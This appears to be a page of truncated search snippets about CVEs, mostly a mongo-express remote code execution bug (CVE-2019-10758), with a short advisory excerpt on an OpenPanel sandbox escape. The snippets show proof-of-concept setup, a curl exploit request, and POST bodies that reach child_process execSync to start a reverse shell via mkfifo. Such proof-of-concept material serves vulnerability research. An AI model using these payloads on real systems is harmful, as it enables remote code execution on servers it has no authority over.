CVE-2019-10758

CVE-2019-10758 PoC セットアップ docker run -p 27017:27017 -d mongo npm install [email protected] cd nodemodules/mongo-express/ && node app.js cURL エクスプロイト curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor"return...

CVE-2019-10758

CVE-2019-10758 mongo-expressのリモートコード実行、リバースシェルのコードは以下のとおりです： POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"cat...

CVE-2026-93985

OpenPanel js-runtime through 2.3.0 contains a sandbox escape vulnerability in the JavaScript webhook template validator that fails to block computed member access to constructor chains. Attackers with project write access can create webhook templates using computed property notation to access...